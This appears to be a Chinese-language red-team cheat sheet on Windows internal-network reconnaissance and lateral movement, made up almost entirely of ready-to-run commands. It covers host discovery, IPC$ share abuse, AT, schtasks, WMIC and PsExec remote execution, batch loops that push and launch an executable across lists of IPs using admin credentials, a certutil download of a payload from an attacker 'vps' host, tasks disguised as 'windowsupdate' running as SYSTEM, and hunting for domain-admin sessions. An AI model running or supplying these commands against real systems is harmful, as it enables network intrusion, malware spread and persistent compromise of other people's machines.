探测存活主机

  1. For+Ping命令查询存活主机
  2. >for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.0.%I |findstr "TTL="

查域名对应的ip

  1. For+Ping命令查询域名对应IP
  2. >for /f "delims=" %i in (D:/domains.txt) do @ping -w 1 -n 1 %i | findstr /c:"[192." >> c:/windows/temp/ds.txt

内外网资产对应

  1. 1.将收集到的子域名保存,使用ping命令在内网循环
  2. for /f "delims=" %i in (host.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> C:/users/public/out.txt
  3. 2.找到dns服务器ipipconfig或扫描开启53端口的机器
  4. https://github.com/Q2h1Cg/dnsbrute
  5. dnsbrute.exe -domain a.com -dict ziyuming.txt -rate 1000 -retry 1 -server 192.168.1.1:53
  6. 3.扫描内网ip开启web服务的title

常见的端口对应的服务

服务 端口
Mssql 1433
SMB 445
WMI 135
winrm 5985
rdp 3389
ssh 22
oracle 1521
mysql 3306
redis 6379
postgresql 5432
ldap 389
smtp 25
pop3 110
imap 143
exchange 443
vnc 5900
ftp 21
rsync 873
mongodb 27017
telnet 23
svn 3690
java rmi 1099
couchdb 5984
pcanywhere 5632
web 80-90,8000-10000,7001,9200,9300

执行命令&IPC&计划任务

  1. 建立连接
  2. >net use \\192.168.52.20\ipc$ "password" /user:domain\administrator
  3. 查看连接
  4. >net use
  5. 列文件
  6. >dir \\192.168.52.20\c$
  7. 查看系统时间
  8. >net time \\192.168.52.20
  9. 上传文件
  10. >copy 1.exe \\192.168.52.20\c$
  11. 下载文件
  12. >copy \\192.168.52.20\c$\1.exe 1.exe
  13. 批量IPC
  14. @echo off
  15. echo check ip addr config file
  16. if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
  17. echo read and analysis file
  18. for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd
  19. :end
  20. exit

AT

  1. >net use \\192.168.52.20\ipc$ "password" /user:domain\administrator
  2. >copy 1.exe \\192.168.52.20\c$
  3. >net time \\192.168.52.20
  4. >at \\192.168.52.20 1:00AM c:\1.exe
  5. >at \\192.168.52.20 1:00AM cmd.exe /c ipconfig >c:/1.txt
  6. >type \\192.168.52.20\c$\1.txt
  7. 查看计划任务
  8. >at \\192.168.52.20
  9. 删除计划任务
  10. >at \\192.168.52.20 计划ID /delete
  11. 横向批量上线
  12. >atexec.exe ./administrator:pass@192.168.52.20 "certutil.exe -urlcache -split -f http://vps:80/shell.txt c:/windows/debug/SysDug.exe"
  13. >atexec.exe ./administrator:pass@192.168.52.20"c:/windows/debug/SysDug.exe"
  14. >atexec.exe ./administrator:pass@192.168.52.20 "certutil.exe -urlcache -split -f c:/windows/debug/SysDug.exe delete"

Schtasks

  1. >net use \\192.168.52.20\ipc$ "password" /user:"domain\administrator"
  2. >schtasks /query /fo LIST /v 查看计划任务
  3. 上传文件
  4. >copy ok.exe \\192.168.52.20\c$\windows\temp
  5. 远程创建定时任务
  6. >schtasks /create /s "192.168.52.20" /u "admin" /p "qqq23" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\ok.exe" /sc DAILY /mo 1 /ST 20:28 /RU SYSTEM
  7. 查询远程创建的任务
  8. >schtasks /query /s "192.168.52.20" /U "admin" /P "qqq23" | findstr "windowsupdate"
  9. 立即执行远程任务
  10. >schtasks /run /tn windowsupdate /s "192.168.52.20" /U "admin" /P "qqq23"
  11. 删除定时任务
  12. >schtasks /Delete /tn windowsupdate /F /s "192.168.52.20" /u "admin" /p "qqq23"
  13. 删除IPC
  14. >net user name /del /y
  15. 横向批量上线
  16. >for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy ok.exe \\%i\admin$\debug\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\debug\ok.exe" & @ping 127.0.0.1 -n 8 >nul & net use \\%i\admin$ /del

WMIC

  1. >net use \\192.168.52.20\ipc$ "password" /user:"domain\administrator"
  2. >copy ok.exe \\192.168.52.20\c$\windows\temp
  3. >wmic /NODE:" 192.168.52.20" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\ok.exe"
  4. >del \\192.168.52.20\c$\windows\temp\ok.exe /F
  5. >net use \\192.168.52.20\c$ /del

快速定位域管理登过的机器

  1. >psexec accepteula @ips.txt u admin p pass@123 c 1.bat
  2. #1.bat内容
  3. tasklist /v | find “域管理名字”
  4. @echo off
  5. echo check ip addr config file
  6. if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
  7. echo read and analysis file
  8. for /F eol=#” %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p pass@123 /v) >>d:\result.txt
  9. :end
  10. exit